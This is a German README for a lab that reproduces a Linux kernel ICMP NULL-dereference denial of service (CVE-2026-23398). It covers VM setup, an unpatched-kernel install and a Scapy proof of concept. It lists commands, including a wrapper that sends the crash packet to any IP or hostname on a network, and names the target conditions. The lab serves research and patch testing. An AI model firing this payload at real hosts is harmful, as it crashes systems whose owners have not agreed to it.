
Reproduzierbares Labor für CVE-2026-23398, eine NULL-Dereferenz im Linux-Kernel in icmp_tag_validation(), ausgelöst durch ICMP-Fragmentierungsbenötigt-Pakete, die einen Denial-of-Service verursacht. Enthält QEMU-VM-Einrichtung, Scapy-PoC und Skripte zum Testen gepatchter und verwundbarer Kernel.
ip_no_pmtu_disc=3)Reproduzierbares Lab für den Linux-Kernel-Bug in icmp_tag_validation() (NULL-Dereferenz, wenn net.ipv4.ip_no_pmtu_disc = 3 und eine Fragmentation Needed-ICMP-Nachricht eintrifft, deren zitierter innerer IPv4-Header eine Protokollnummer ohne Handler in inet_protos[] verwendet).
Nur für autorisierte Nutzung: Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Auswirkung ist Denial of Service (Kernel-Panic).
| Komponente | Zweck |
|---|---|
QEMU (qemu-system-x86_64, qemu-img) | Opfer-VM |
cloud-image-utils (cloud-localds), wget, genisoimage | Cloud-init und Image-Download |
| Docker + Docker Compose | ICMP-Sender vom Host (host-Netzwerkmodus) |
| OpenSSH-Client | SSH-Automatisierung |
SSH-Schlüssel in ~/.ssh/id_ed25519.pub oder id_rsa.pub, oder sshpass | Gast-Login ohne Passworteingabe (Schlüssel empfohlen) |
| sudo | Nur TAP-Modus (ICMP vom Host zur festen IP der VM) |
Python 3 und Scapy auf dem Host werden nur benötigt, wenn Sie Docker nicht für Remote-Payloads verwenden.
├── send_frag_needed.py # Scapy-PoC (ICMP 3,4 + inneres IP mit ungewöhnlichem Proto)
├── send-payload-to-host.sh # Payload an eine IP/einen Hostnamen in Ihrem Netzwerk senden
├── docker-compose.yml # „sender“-Dienst (Host-Netzwerk + CAP_NET_RAW)
├── Dockerfile
├── vm/ # Festplatten, Cloud-init-Seeds, QEMU-Serienprotokolle
└── scripts/
├── fetch-image.sh
├── prepare-disk.sh
├── build-seed-dhcp.sh # DHCP-Seed (usernet-Modus)
├── build-seed.sh # Statischer 192.168.76.2-Seed (TAP-Modus)
├── vm-start-usernet.sh # QEMU + User-Netzwerk (SSH-Port 2222)
├── vm-stop-usernet.sh
├── vm-start.sh / vm-stop.sh # QEMU + TAP (nach tap-up.sh)
├── tap-up.sh / tap-down.sh # TAP-Schnittstelle auf dem Host (sudo)
├── run-lab-usernet.sh # Vollständiger Ablauf: Image + VM + Scapy auf dem Gast (aktueller Kernel)
├── run-lab.sh # TAP-Ablauf + Docker-Sender → 192.168.76.2
├── install-vulnerable-mainline.sh # Ungepatchtes Mainline 6.12 + veth-PoC (Panic)
└── poc-veth-netns.sh # *Innerhalb* des Gasts ausführen (veth + netns)
QEMU-User-Netzwerk liefert vom Host stammende ICMP-Nachrichten nicht zuverlässig an den Gast. Der automatisierte Ablauf installiert Scapy auf der VM und führt das Skript dort aus. Ein aktueller Ubuntu-Kernel ist in der Regel gepatcht: Sie sehen „Sent 1 packets“, aber keine Panic.
cd /path/to/repo
chmod +x scripts/*.sh send-payload-to-host.sh
# Erster Lauf: Ubuntu-Noble-Cloud-Image herunterladen, Overlay, Seed, QEMU starten, SSH :2222, apt, PoC
./scripts/run-lab-usernet.sh
ssh -p 2222 [email protected] (Passwort lablab, falls Sie auf Passwort-Authentifizierung setzen)../scripts/vm-stop-usernet.shvm/serial-usernet.logDer CVE-Fix wurde im März 2026 eingespielt. Ein älterer Mainline-Build (z. B. 6.12.0 vom 2024-11) enthält diesen Fix nicht. Das Skript installiert diese .deb-Pakete in der VM, startet neu und führt den PoC mit veth + einem Netzwerk-Namespace aus, sodass ICMP einen echten Ingress-Pfad durchläuft (das Senden nur an die eigene Loopback-/Schnittstellen-IP des Gasts ist nicht ausreichend).
Warnung: Dies endet in der Regel in einer Kernel-Panic; SSH reagiert nicht mehr.
# usernet-VM läuft (oder nachdem run-lab-usernet sie einmal erstellt hat)
./scripts/vm-start-usernet.sh # falls noch nicht gestartet
./scripts/install-vulnerable-mainline.sh
| Signal | Panic ist aufgetreten (erwartet bei verwundbarem 6.12) | Panic ist nicht aufgetreten |
|---|---|---|
| SSH direkt nach „Running PoC …“ | Hängt oder Connection timed out / Connection reset | Sitzung funktioniert weiter; Sie erhalten eine Shell |
send_frag_needed.py-Ausgabe | Sie sollten . Sent 1 packets. sehen, bevor SSH stirbt (oft abgeschnitten, wenn die Verbindung sofort abbricht) | Install Scapy: pip install scapy → Scapy fehlte auf dem Gast; die ICMP-Nachricht wurde nie gesendet. Führen Sie install-vulnerable-mainline.sh erneut aus (es installiert python3-scapy) oder führen Sie sudo apt install -y python3-scapy auf der VM aus und führen Sie den PoC erneut aus |
| Serienprotokoll | tail -f vm/serial-usernet.log zeigt Kernel panic, icmp_unreach, CR2: 0000000000000010 usw. | Keine Panic-Zeilen; der Gast läuft weiter |
| QEMU-Prozess | Läuft noch, aber das Gast-Betriebssystem ist tot bis zum Neustart | Der Gast antwortet weiterhin auf Port 2222 |
Hinweis zu frischer Festplatte: Wenn Sie nur prepare-disk.sh + vm-start-usernet.sh ausführen (nicht run-lab-usernet.sh), verfügt der Gast möglicherweise nicht über python3-scapy, bis install-vulnerable-mainline.sh es installiert (oder Sie es manuell installieren).
Nach einer Panic — sauberer Reset:
./scripts/vm-stop-usernet.sh
rm -f vm/victim.qcow2
./scripts/prepare-disk.sh
./scripts/build-seed-dhcp.sh
./scripts/vm-start-usernet.sh
# optional: Pakete neu installieren / install-vulnerable-mainline.sh erneut ausführen
Der Gast verwendet 192.168.76.2 und der Host 192.168.76.1 auf dem TAP. ICMP verhält sich wie in einem echten LAN.
./scripts/tap-up.sh # sudo: erstellt icmp-lab-tap0
./scripts/prepare-disk.sh
./scripts/build-seed.sh # statische Adressierung in cloud-init
./scripts/vm-start.sh
./scripts/wait-ssh.sh 192.168.76.2
# Auf der VM: sysctl -w net.ipv4.ip_no_pmtu_disc=3 und ein verwundbarer Kernel, falls Sie eine Panic möchten
docker compose build
docker compose run --rm sender 192.168.76.2
./scripts/run-lab.sh verknüpft einen Teil davon (erfordert TAP + Docker).
Praktischer Wrapper (löst Hostname → IPv4 auf, bevorzugt Docker, sonst sudo + Python):
chmod +x send-payload-to-host.sh
docker compose build # einmalig
./send-payload-to-host.sh 192.168.1.50
./send-payload-to-host.sh myserver.lan --inner-proto 253 --nexthop-mtu 1200
Ohne Docker:
sudo pip install scapy # falls benötigt
sudo ./send-payload-to-host.sh 192.168.1.50
Zielbedingungen, die für diese CVE relevant sind:
net.ipv4.ip_no_pmtu_disc = 3 (gehärteter PMTU-Modus).Wenn der Kernel gepatcht ist oder der sysctl-Wert nicht 3 ist, sehen Sie keine Panic; das Paket kann trotzdem auf dem Draht übertragen werden.
| Variable | Beschreibung |
|---|---|
ICMP_LAB_TAP | TAP-Gerätename (Standard icmp-lab-tap0) |
ICMP_LAB_HOST_IP | Host-Adresse auf TAP (Standard 192.168.76.1/24) |
ICMP_LAB_SSH_PORT | usernet-SSH-Port (Standard 2222) |
ICMP_LAB_SSH_HOST | SSH-Host (Standard 127.0.0.1) |
icmp: fix NULL pointer dereference in icmp_tag_validation() (Commit 614aefe56af8e auf Mainline)3: Commit 8ed1dc44d3e9 (hardened ip_no_pmtu_disc)